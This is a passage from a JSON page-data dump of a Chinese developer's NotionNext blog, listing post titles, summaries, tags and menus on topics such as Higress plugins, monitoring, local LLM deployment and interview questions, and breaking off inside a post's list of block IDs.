Mirroring一切问题迎刃而解。","slug":"article/240725-ai","pageIcon":"🗒️","lastEditedDate":"2024-07-25T15:39:43.435Z"},{"id":"023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","title":"天池大赛Higress插件官方demo详细部署+调试","pageCoverThumbnail":"https://source.unsplash.com/random?t=023ad8f1-1b1b-42fe-98ab-b01bb11cf73e","category":"技术分享","tags":["推荐","go","折腾"],"summary":"使用Higress AI网关优化AI调用成本。就是基于向量召回相似问题的缓存,降低LLM API调用成本。就是开发一个网关插件做QA缓存嘛。前文已经成功复现了hello-world插件,这次结合官方提供的AI-Cache插件自己动手改改,再写点注释放到天池大赛去跑跑分,环境搭建起来确实有很多要注意的地方,所以记录下来。","slug":"article/240626-demo","pageIcon":"🗒️","lastEditedDate":"2024-06-28T08:12:44.310Z"},{"id":"ac8b0aec-6e91-49e0-b6c0-806e97729436","title":"Java程序员学习Go开发Higress的WASM插件","pageCoverThumbnail":"https://source.unsplash.com/random?t=ac8b0aec-6e91-49e0-b6c0-806e97729436","category":"技术分享","tags":["推荐","工具","折腾","docker","go"],"summary":"多方寻求解决无果,结论是tinygo@0.32+go@1.19无法在macos arm架构下打包。升级go@1.21再次打包提示unsafe.SliceData requires go1.20 or later。后放弃macos+arm,采用ubuntu+amd64打包,ubuntu打包也必须使用tinygo@0.28.1。0.32.0在ubuntu仍然提示unsupported GOOS/GOARCH pair wasip1/wasm","slug":"article/240625-higress","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:54:09.169Z"},{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","title":"万里长征-04-脉脉","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"脉脉面试题","slug":"article/240525-LM-04","pageIcon":"🗒️","lastEditedDate":"2024-06-26T04:59:08.858Z"},{"id":"2caa6a98-fd82-4de7-838f-e08dfe6649ab","title":"万里长征-03-搜狐","pageCoverThumbnail":"","category":"万里长征","tags":["面试"],"summary":"搜狐面试题","slug":"article/240429-LM-fox","pageIcon":"🗒️","lastEditedDate":"2024-05-25T02:20:00.057Z"},{"id":"146219e7-c178-4485-b223-22f4b977333c","title":"Prometheus+Grafana多方位监控","pageCoverThumbnail":"https://source.unsplash.com/random?t=146219e7-c178-4485-b223-22f4b977333c","category":"技术分享","tags":["推荐","运维"],"summary":"包含linux主机监控+nginx监控+es监控+rabbitMQ监控+redis监控+Java程序监控","slug":"article/240429-prometheus","pageIcon":"🗒️","lastEditedDate":"2024-04-29T03:07:56.545Z"},{"id":"71879fde-4992-4276-9767-ac5bd71e4058","title":"Nginx配置备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=71879fde-4992-4276-9767-ac5bd71e4058","category":"技术分享","tags":["运维","工具"],"summary":"nginx密码访问,prometheus,安全限制等","slug":"article/240425-nginx","pageIcon":"🗒️","lastEditedDate":"2024-04-24T16:37:04.342Z"},{"id":"9a78ba09-76ce-4344-bad5-f6d60dc0680e","title":"万里长征-02-跟谁学","pageCoverThumbnail":"https://source.unsplash.com/random?t=9a78ba09-76ce-4344-bad5-f6d60dc0680e","category":"万里长征","tags":["面试","文字"],"summary":"跟谁学面试题","slug":"article/240408-LM-02","pageIcon":"🗒️","lastEditedDate":"2024-04-08T17:08:09.011Z"},{"id":"63830328-e0f0-477a-b327-bc4ab921f89c","title":"万里长征-01-贝壳","pageCoverThumbnail":"https://source.unsplash.com/random?t=63830328-e0f0-477a-b327-bc4ab921f89c","category":"万里长征","tags":["面试"],"summary":"贝壳面试题","slug":"article/240405-LM-01","pageIcon":"🗒️","lastEditedDate":"2024-04-08T06:03:22.365Z"},{"id":"4d955058-b605-46cf-b242-1535b732af30","title":"万里长征","pageCoverThumbnail":"","category":"万里长征","tags":["面试","推荐"],"summary":"常见面试题汇总","slug":"article/240405-LM","pageIcon":"🗒️","lastEditedDate":"2024-04-07T09:23:11.250Z"},{"id":"1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","title":"Java程序CPU异常监控bash脚本","pageCoverThumbnail":"https://source.unsplash.com/random?t=1b09c4fb-e51e-4b6f-96ea-d7a92ef051d9","category":"技术分享","tags":["运维","linux","脚本","工具"],"summary":"极其简单的监控例子","slug":"article/240405-cpu","pageIcon":"🗒️","lastEditedDate":"2024-04-05T12:17:00.259Z"},{"id":"e8fd9138-663d-415d-9684-24343fb3248f","title":"mac体验ollama本地大模型","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","category":"技术分享","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","slug":"article/240325-ollama","pageIcon":"🗒️","lastEditedDate":"2024-03-26T05:49:00.447Z"},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","title":"Arthas简单使用备忘录","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","category":"技术分享","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","slug":"article/240320-arthas","pageIcon":"🗒️","lastEditedDate":"2024-03-20T04:52:10.213Z"},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","title":"Xmrig挖矿入侵服务器排查","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","category":"技术分享","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","slug":"article/240319-xmrig","pageIcon":"🗒️","lastEditedDate":"2024-03-19T17:15:42.884Z"},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","title":"Java部署脚本&重启备份检查&配置环境","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","category":"技术分享","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","slug":"article/240124-deploy","pageIcon":"🗒️","lastEditedDate":"2024-01-24T07:18:46.139Z"},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","title":"解决SkyWalking在gateway中logback链路丢失","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","category":"技术分享","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","slug":"article/240121-skywaking","pageIcon":"🗒️","lastEditedDate":"2024-01-20T18:52:32.627Z"},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","title":"Notion文章自动同步GitPage","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed&width=800&fmt=webp","category":"技术分享","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","slug":"article/240119-notion","pageIcon":"📗","lastEditedDate":"2024-03-19T17:14:00.935Z"},{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","title":"示例文章","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=d3216be6-1b27-40e7-8677-7404896b7eb6&width=800&fmt=webp","category":"心情随笔","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/example","pageIcon":"🗓️","lastEditedDate":"2024-01-19T06:18:08.580Z"},{"id":"54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","title":"将进酒","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3&q=50&fm=webp&crop=entropy&cs=srgb&t=54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf&width=800&fmt=webp","category":"知行合一","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","slug":"article/begin","pageIcon":"🗒️","lastEditedDate":"2024-04-06T03:31:44.998Z"}],"tagOptions":[{"id":"d9f66761-0396-4e80-be5c-2ab6c7f8ba86","name":"推荐","color":"red","count":15},{"id":"ee932bde-0023-446f-9bb4-17d2022121c9","name":"文字","color":"brown","count":3},{"id":"25b1074b-a3fa-49f5-82cd-a37d85c5666f","name":"工具","color":"pink","count":8},{"id":"1e90f00e-8f1b-4665-8e69-92f0791bde56","name":"开发","color":"pink","count":3},{"id":"2382b30f-9881-4a8b-ae7f-2d34979c4fb9","name":"建站","color":"brown","count":4},{"id":"50765df4-40d8-4098-a1b4-abf97b9ce1d2","name":"docker","color":"gray","count":2},{"id":"114a1313-d952-45e1-8bb5-8bf0b7d3c372","name":"自动化","color":"blue","count":2},{"id":"986f04d2-1cd1-4f47-84ba-2c692e069d93","name":"折腾","color":"purple","count":9},{"id":"88f6276a-b475-4a62-a2b6-438606516ec8","name":"git","color":"default","count":1},{"id":"11c42291-5274-44a7-94a3-f4af3382896b","name":"日志","color":"red","count":1},{"id":"e89abe8e-9228-48f8-8bb0-582d8343eb91","name":"微服务","color":"red","count":2},{"id":"c002f5d1-02d9-41b0-954e-6f6a5978b3e0","name":"spring","color":"purple","count":1},{"id":"9fb08037-26be-4513-a5b2-ada51bcfeb9c","name":"skywalking","color":"blue","count":1},{"id":"4db60a02-14cd-40e9-bf53-0f4c30547a4b","name":"运维","color":"gray","count":3},{"id":"bda76598-5cfc-492c-83ec-f17afb09b0c7","name":"linux","color":"orange","count":1},{"id":"c52cafb9-814a-4408-b23f-d195d9fb314a","name":"脚本","color":"orange","count":1},{"id":"531ca54d-1302-4bcf-83cc-b389e9d9a35e","name":"面试","color":"yellow","count":5},{"id":"f49c0c1e-65c1-461c-b9c3-81f6e8601540","name":"go","color":"gray","count":2}],"categoryOptions":[{"id":"a4dcd33a-34a7-4c33-b9c2-92d3a5248f06","name":"知行合一","color":"pink","count":1},{"id":"8282ff59-f160-40c3-ab7e-6e970a0a64d5","name":"技术分享","color":"purple","count":16},{"id":"edd604ab-fda7-4d9b-964a-e7de536c05a0","name":"心情随笔","color":"orange","count":1},{"id":"350fdef0-67f5-4e99-a661-24fd57c306be","name":"万里长征","color":"green","count":5}],"customNav":[{"icon":"fas fa-home","name":"主页","to":"//","target":"_self","show":true}],"customMenu":[{"id":"5263856d-837a-4f2d-bfc6-24cbff6c946c","icon":"fab fa-github","date":{"start_date":"2021-03-13"},"type":"Menu","slug":"https://github.com/BOTHSAVAGE","summary":"这是一个指向外部地址的单页","title":"Github","status":"Published","category":"","publishDate":1615593600000,"publishDay":"2021-3-13","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"https://github.com/BOTHSAVAGE","name":"Github","password":"","show":true,"target":"_blank"},{"id":"29e65d89-d04e-4ee3-9a9d-2f8856ed3055","icon":"fas fa-archive","date":{"start_date":"2023-03-23"},"type":"Menu","slug":"#","title":"往期整理","status":"Published","category":"","publishDate":1679529600000,"publishDay":"2023-3-23","lastEditedDate":"2024-01-18T16:12:17.113Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"#","name":"往期整理","password":"","show":true,"subMenus":[{"id":"d88da7cd-eebc-4c92-b9c3-53910376ab83","icon":"fas fa-clock-rotate-left","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/archive","title":"历史归档","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/archive","name":"历史归档","password":"","show":true},{"id":"7d039e15-c906-470d-b781-943032713368","icon":"fas fa-th","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/category","title":"文章分类","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.114Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/category","name":"文章分类","password":"","show":true},{"id":"e746c4ee-0327-4529-85ac-7059a10091d3","icon":"fas fa-tag","date":{"start_date":"2021-07-02"},"type":"SubMenu","slug":"/tag","title":"文章标签","status":"Published","category":"","publishDate":1625184000000,"publishDay":"2021-7-2","lastEditedDate":"2024-01-18T16:12:17.115Z","lastEditedDay":"2024-1-19","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[],"to":"/tag","name":"文章标签","password":"","show":true}]}],"postCount":24,"latestPosts":[{"id":"154f5010-17f2-8079-beb8-c6a44f0aa69c","date":{"start_date":"2024-12-06","date_format":"relative"},"type":"Post","slug":"article/241206-rdk","title":"地瓜RDK X5上手ollama大模型测试","status":"Published","category":"","publishDate":1733443200000,"publishDay":"2024-12-6","lastEditedDate":"2024-12-06T09:25:20.578Z","lastEditedDay":"2024-12-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","pageCoverThumbnail":"https://source.unsplash.com/random?t=154f5010-17f2-8079-beb8-c6a44f0aa69c","tagItems":[],"password":""},{"id":"153f5010-17f2-8037-8e89-ecfcb9d24a89","date":{"start_date":"2024-12-05","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241205-aria","tags":["推荐","折腾"],"summary":"闲逛HuggingFace的时候发现一个25.3B的多模态大模型,支持图片和视频。刚好我有H20的GPU所以部署来看看效果,因为我的宿主机是cuda-12.1所以为了防止环境污染采用docker部署,通过一系列的披荆斩棘比如Segmentation fault (core dumped)异常,最终成功运行在单卡h20服务器上,python3.10,cuda12.4,ubuntu20.04,程序在推理图片的时候占用50g显存,推理5s视频20fps的时候占用60g左右显存。","title":"多模态视频大模型Aria在Docker部署","status":"Published","publishDate":1733356800000,"publishDay":"2024-12-5","lastEditedDate":"2024-12-05T07:43:49.973Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","pageCoverThumbnail":"https://source.unsplash.com/random?t=153f5010-17f2-8037-8e89-ecfcb9d24a89","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"a741252c-e46b-4342-998c-58ebc362fc0d","date":{"start_date":"2024-08-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240810-minicpm2.6","tags":["折腾"],"summary":"2.6的小钢炮可以输入视频了,我必须拉到本地跑跑。主要解决2.6版本默认绑定flash_atten问题,pip install flash_attn也无法安装,因为强制依赖cuda。主要解决的就是这个问题,还有 BFloat16 is not supported on MPS问题解决。","title":"Mac平台M1PRO芯片MiniCPM-V-2.6网页部署跑通","status":"Published","publishDate":1723248000000,"publishDay":"2024-8-10","lastEditedDate":"2024-12-05T02:07:11.171Z","lastEditedDay":"2024-12-5","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","pageCoverThumbnail":"https://source.unsplash.com/random?t=a741252c-e46b-4342-998c-58ebc362fc0d","tagItems":[{"name":"折腾","color":"purple"}],"password":""},{"id":"b7f50367-a6df-4492-a459-4baef5b1e4c3","date":{"start_date":"2024-11-10","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/241110-tos-plugin","tags":["工具","折腾"],"summary":"当前业务项目只有test和uat走的流水线,prod环境都需要手动打包部署,由于生产服务器的特殊性,只能用VPN链接访问,上行带宽不够导致发版绝大部分时间都浪费到上传jar包到linux服务器。当前阶段,我们公司使用的是火山引擎ECS+TOS云存储,在一个地域下ecs可以实现内网访问tos数据。故考虑使用maven写一个tos上传插件,方便环境的CICD","title":"开发Maven插件:实现打包后上传tos云服务","status":"Published","publishDate":1731196800000,"publishDay":"2024-11-10","lastEditedDate":"2024-11-10T09:10:56.856Z","lastEditedDay":"2024-11-10","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","pageCoverThumbnail":"https://source.unsplash.com/random?t=b7f50367-a6df-4492-a459-4baef5b1e4c3","tagItems":[{"name":"工具","color":"pink"},{"name":"折腾","color":"purple"}],"password":""},{"id":"df1cfd49-4665-4429-a601-d6e8d57f2a50","date":{"start_date":"2024-08-06","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240806-lavis","tags":["推荐","折腾"],"summary":"本地想装个图片理解的大模型,看了下blip2感觉比较合适,macos安装的时候有点坑需要注意下,但是最终也无法使用mps加速,比较蛋疼。这里记录下安装步骤。","title":"LAVIS在Mac,M1PRO芯片下的安装实战","status":"Published","publishDate":1722902400000,"publishDay":"2024-8-6","lastEditedDate":"2024-08-06T07:08:06.450Z","lastEditedDay":"2024-8-6","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","pageCoverThumbnail":"https://source.unsplash.com/random?t=df1cfd49-4665-4429-a601-d6e8d57f2a50","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"2187a0b2-05d0-4661-906d-3f47acc5b022","date":{"start_date":"2024-07-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240725-ai","tags":["推荐","折腾"],"summary":"最近痴迷于打地下城手游,太浪费时间了,本着编程解放生产力的思想,开始想着能不能用程序来打地下城,就是开外挂!当然任何形式的开外挂都是不倡导的,这里只是探寻技术方案可行性,输出的成品并不能直接使用!为啥要等Iphone Mirroring出来完成这件事呢,因为我的设备是Iphone+Mac,虽然Mac可以通过PlayCover安装破解IPA,但是不支持微信登陆,现在有了Iphone Mirroring一切问题迎刃而解。","title":"Iphone Mirroring圆了我AI打DNF手游的梦","status":"Published","publishDate":1721865600000,"publishDay":"2024-7-25","lastEditedDate":"2024-07-25T15:39:43.435Z","lastEditedDay":"2024-7-25","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","pageCoverThumbnail":"https://source.unsplash.com/random?t=2187a0b2-05d0-4661-906d-3f47acc5b022","tagItems":[{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""}],"post":{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","date":{"start_date":"2024-05-25","date_format":"relative"},"type":"Post","category":"万里长征","slug":"article/240525-LM-04","tags":["面试"],"summary":"脉脉面试题","title":"万里长征-04-脉脉","status":"Published","publishDate":1716595200000,"publishDay":"2024-5-25","lastEditedDate":"2024-06-26T04:59:08.858Z","lastEditedDay":"2024-6-26","fullWidth":false,"pageIcon":"🗒️","pageCover":"","pageCoverThumbnail":"","tagItems":[{"name":"面试","color":"yellow"}],"password":"","blockMap":{"block":{"fdb70c2f-29b1-4635-bb36-fc826bad8fbd":{"value":{"id":"fdb70c2f-29b1-4635-bb36-fc826bad8fbd","version":697,"type":"page","content":["afb184f8-1891-4061-a5d6-446a356b94b4","16fa29c9-3271-4c9e-b1e1-792591ea15cc","a1ae08f1-3f41-4977-9602-0be8085322fd","6c300527-0009-46ab-ac0e-3e8fb451ecda","1cd33685-9ce8-4f8c-885d-3242a697ee5c","3f0bd42a-bbe6-4ff7-a330-026ebdd0ca8c","e71ac58d-d9dc-4688-b06a-6c6db580f879","a98c0adc-bdc6-4823-ba59-6f06af25f18b","f6c41e96-a61d-4b63-b09e-6ba538fc8183","4729a4c5-8eba-420b-9f60-c9f65da221c5","f1a3236f-61e1-4ec4-8298-71732e0f732c","73bee65b-b0a4-49b0-a876-7fe6a1b7239e","54e01637-963e-463a-97d3-750e5215b895","671b51d3-429a-41b2-8b90-962a0657d02d","f3f7b953-82f3-4c1b-af5b-f2e1450a8cc0","8c922705-566f-4477-a264-0d33299687e1","05bce745-d9f0-4bc5-bfee-95f355db2a93","ba531f6b-893c-4e50-9f99-49fc05583301","a4bf15e6-a219-4ca6-93c3-a06a17b11af6","2cbac90c-ae29-4c78-bb7e-518f840c3f42","e09cf5e9-edb2-4cb2-9a38-4e16c71d1318","a07360db-e6f5-4532-a01c-cdaafcf7b0c6","31afe90c-5fd8-4226-87d5-52f8618b5902","06c3d870-97ce-4e12-a185-88ba1bd7f670","13c12d42-ad21-4fc4-92b1-907f14bdf106","887fb158-e5e2-4e75-bfe5-4b43497dda7e","aff02daa-ea8c-4a5c-92d8-f415318c9ef1","d4716f0c-7b29-41a4-aa41-54ddfe47cb4d","ebaef3bd-a837-4b90-9636-a8fd716ab741","bf4f99e0-404f-4f66-b419-6b7f79bcf41f","c202a786-7472-435d-a2d4-10937134ab03","3ad9d291-eb52-4331-ada6-cf0b87e4b5ff","ec11b890-0ba0-4398-bb50-b0ede6a348f0","f9ae5012-f84f-4ac3-9521-88bd237c4fc8","b5521e0e-0c0d-4f9c-a5f7-eb7d356a764c","426a684f-d72b-40d5-8741-4d77a5086275","ff8c3cc1-d607-4111-af71-9d84e5f61add","47aab0eb-a2d4-438f-bd7e-0daa1e6d44ff","2d87748f-20ee-4979-8b7d-8aef412c005a","c0e49b2f-d983-4873-82c3-ac6e75f26f73","ac133f0f-b53a-47c0-8cdd-af4da6599fce","9a06ce9e-e535-4976-b27e-8271ee3710a8","c96be004-3950-4510-8c43-9f2106ed7ba7","75490485-c2e9-451f-acbe-5b5df641fb63","9ea4f154-594e-43fc-94ed-306f470b7a54","bee074a2-0070-4d59-9f46-e5ff6031daa3","a592621e-70a0-498b-bfb7-4960555ddefb","4534a05f-2ce0-4493-9b40-7a5ea6d87a2a","a6f89351-a2d9-474e-b9ad-a3eeffd9397d","824749bc-5ab4-40d6-804f-2b21a746656b","400d6f54-ae9e-437d-a070-56b6be629f57","83f1ebad-4899-41db-9bb3-daad8d2eaee8","088a9a3a-41fb-4c89-bedf-1476ca7394a6","d50b9273-022f-4fc3-8a5f-fa8f65928e32","15105753-99e1-4851-8ef0-2d62d1706415","8423846a-3687-4b59-bf9f-02e5c41c4ed8","47ef9f70-489a-4b7d-939c-024dfb405688","690bd9c2-b675-4f33-9d61-03dd26c4811f","4c9a066b-6290-4d7b-90d9-1f8b19751f8b","98aedc7d-6418-4500-91ef-acab6c127392","231efe1a-1b3d-43bc-9699-b850fbaab445","ce7e3743-52b1-4c90-ba7b-788f9c93dbb3","7c7d2d1a-733b-47d9-a300-394d2fd3d8cf","6d8f7f05-8070-4ea9-bb89-8d041cc7a173","f373e358-4424-4907-987f-619f1c821abd","f6288c8d-c1db-47f2-ab22-95aa7fa9f68a","6ea8eec3-f876-4311-8c7b-302fdc304afb","57aec622-b358-456d-ac86-bc7fd566f301","fe093dd8-c0f0-471e-8d3b-4cabfdbc0ac3","1e72eae5-f903-46f0-8d4b-71a994af42a1","78ac071e-eef1-477f-9039-6c8de75d8eca","d369aa72-76cc-489a-9e90-83e8c376e73a","6c954f91-a3f5-4742-9db6-f1cb984fe001","93dcb6cc-d6b5-4e8e-8255-ad6f13945bc5","baae4d64-547e-4b39-802f-b3f8901f7363","6603daf9-9662-40ad-a756-19c26d99f37e","3fe06c05-bbff-4521-8231-6046879ba05f","61f4c2f7-a13f-49c9-939d-3f8ccde8be0b","aa29084b-0d10-4202-8f81-cbae61b20e74","1c1d8899-02bc-4169-9849-acf2dfa3d5af","200b8779-472a-4d99-8f91-9debeffe4f3c","aef81800-d546-4dbe-806a-a8d2244e2d89","0a3ca706-64de-46fe-a984-24920883d52b","32c4d6a4-85a8-474a-8d5b-38e89127d070","af906d72-2170-456b-82ad-fbb25ccb2262","a9a79de1-1d8c-4cf2-9515-a380e0cb9dd0","dc5c2944-a57d-4e0e-b628-1ac6178a71e8","00f67ff9-b403-4852-b74c-93a0db21b10b","0f498836-0e73-4d14-b0d9-797d1886a7e4","97ec15d1-22ee-411c-beec-5c0aaed39784","3099fe24-e697-4ca7-a0a6-99e988cda663","3e9e9544-a986-4a69-bcd7-c6ee6d29688c","e4597ff7-4c66-4cac-84ec-f5eebc64f3f8","a3664217-ba36-4078-93c1-4c0323823275","72fb537d-84eb-4bda-979d-885063e7d719","cf3f6f0a-6362-446f-855e-80d6bcccb15e","1193e2b2-d47b-42cd-b19d-c792dfaece8f","f9fd0d0b-2e2f-4053-92b3-254dc53a8e5c","8cce3f86-e8cf-49f6-94e3-1e0fa084a0cf","f367d5b0-1483-49fa-9d17-5dd29ada3f2f","b6ff2966-9cfd-4693-8e65-860bbf12a136","93b03a83-f395-4b0f-b9ca-05c6dd40af3d","a31c7006-5c82-4c7b-88be-6ce96b2596fd","29680c71-f649-45ad-9e6b-6244591f608f","1b21f26b-f04f-4080-a4da-9f30b58ba1e5","82c3bd0d-18d0-4867-83b4-8b7914d7500c","35c23c19-f32e-478d-88d2-cb4c3d338127","b1670b78-5c8e-4100-a81d-4fbd8ee09da8","59424927-0197-4f51-a168-1f9a393bd4d1","ed538c2f-2ce9-42cc-b442-c449f21674e5","c118f7ca-de93-426e-a6ac-7e0f2b2f7b9a","5182731e-7258-4b1d-a095-b12ae7c68298","73eb30c2-8c43-4546-9d71-838a79c1930d","3e9f36b9-8fa2-4e32-ba79-e04df467541c","1de78d6d-76f9-46b9-80b5-b1219e5f079c","8ba2270d-44a5-4bfb-bac5-a54043fba0a1","dc4b1cb9-4507-4bff-a6a1-d9e405d0284e","7786c18c-e2e8-4fc4-b1ff-87ca8c853e32","e7177545-5062-43ce-aaa5-81e057f7d8d7","7101587e-4040-4c76-a20b-9a6939f20c4c","de577fa8-dd94-46d7-9cda-374c2aeddbc4","11b73359-b85d-4d6a-998e-b0e73304d8ed","0d9008b7-5925-4eed-a2a1-ec1439d430d6","04382531-9e28-4fa3-8b17-cee9c14a6346","6e5e4d5d-edc6-4a50-8c46-d7d0bc7b949e","2cbac960-6320-4993-843c-45ffac9bd976","559dd556-97cc-487d-8cae-3c98c2d50c73","74c235cb-ae47-4fa4-8efa-c53839e94742","61b50557-c1cc-4f50-893f-0f33bb349768","716a8648-0dae-40a5-ab72-41849d80cb4d","d49f579b-59fd-4512-b306-d24439b15fb7","ca230fb9-4323-40ef-9c29-2db3e11aaaa6","2ff281ec-fa45-42e0-938b-09ff57097bb2","6d2b7117-cc4d-4596-9b73-84a48bf65825","a9e9272d-4151-43b8-baed-a89c5e02f3b0","054371f1-b36e-4048-804d-6192db1a8394","a4bb5827-c052-4e77-916a-3fac2a2037dc","8cea1fa7-1927-4b50-a88d-3f6e2b45822a","5e9fc629-2385-4988-be2f-d50f54203c01","79d0029f-e146-4ff0-ad95-3e271d69e0f8","0d671cb5-2773-4550-bd12-805116290407","fd96301e-866f-43f1-830f-005b766f7634","fd497b12-fba5-443d-9760-e82b6bc42954","69f91b04-3421-428f-b63a-edd0546971b1","55e5264f-28ee-417d-b43f-e500415aca87","04c59947-1ae2-47f6-b1d3-419fa0172205","db602470-f0b2-488c-aa76-6c59fd812488","5c75cb52-184a-4d74-ab82-0e4f66755a61","d04cfd06-2056-4da9-9b6b-06766ff54cee","cd24df1c-2681-4f9e-b3e2-f70723595f2b","a5bac5bd-9645-4ac0-86d3-d1dbba5f797c","87893fbe-f002-4bc3-bc68-f9b41961db62","b70e7481-ad94-47cd-8e5a-4f85c1f68aad","f44a409b-e45d-4ad1-ac40-0b5f0d527db4","451efe86-cc11-4036-b6ac-626a4eccf273","b56261ae-b587-4f93-a7cb-417e5a9c10ad","34c207da-6427-4d40-b967-b0139ef3f244","29cf5ac7-b566-4bf0-acfd-3849498c7b40","49f18629-ea51-482f-a194-84f71f15b3c1","89e64ed0-2fda-4cd3-b601-726886ac32fb","3e61d241-a459-40fb-8239-b0972625657e","f44544e2-4fe7-4d60-86b1-39d0abddee84","cc6fd491-697e-4b1b-8979-18e1951b8dc9","b9f1473a-eead-4fcd-a5af-820980bb2c26","01af2dbc-ddf6-4353-966e-c816aa2e4250"],"format":{"page_icon":"🗒️","block_locked":false,"block_locked_by":"e3bce58f-88e9-475b-8d52-370cf8e95e16","copied_from_pointer":{"id":"fbea6284-6910-456b-9292-c62e080c9f59","table":"block","spaceId":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"}},"created_time":1716603971863,"last_edited_time":1719377948858,"parent_id":"3c6ddc29-47df-43f6-a375-de1c3a9cf466","parent_table":"collection","alive":true,"copied_from":"fbea6284-6910-456b-9292-c62e080c9f59","created_by_table":"notion_user","created_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","last_edited_by_table":"notion_user","last_edited_by_id":"e3bce58f-88e9-475b-8d52-370cf8e95e16","space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"87ff73a8-1273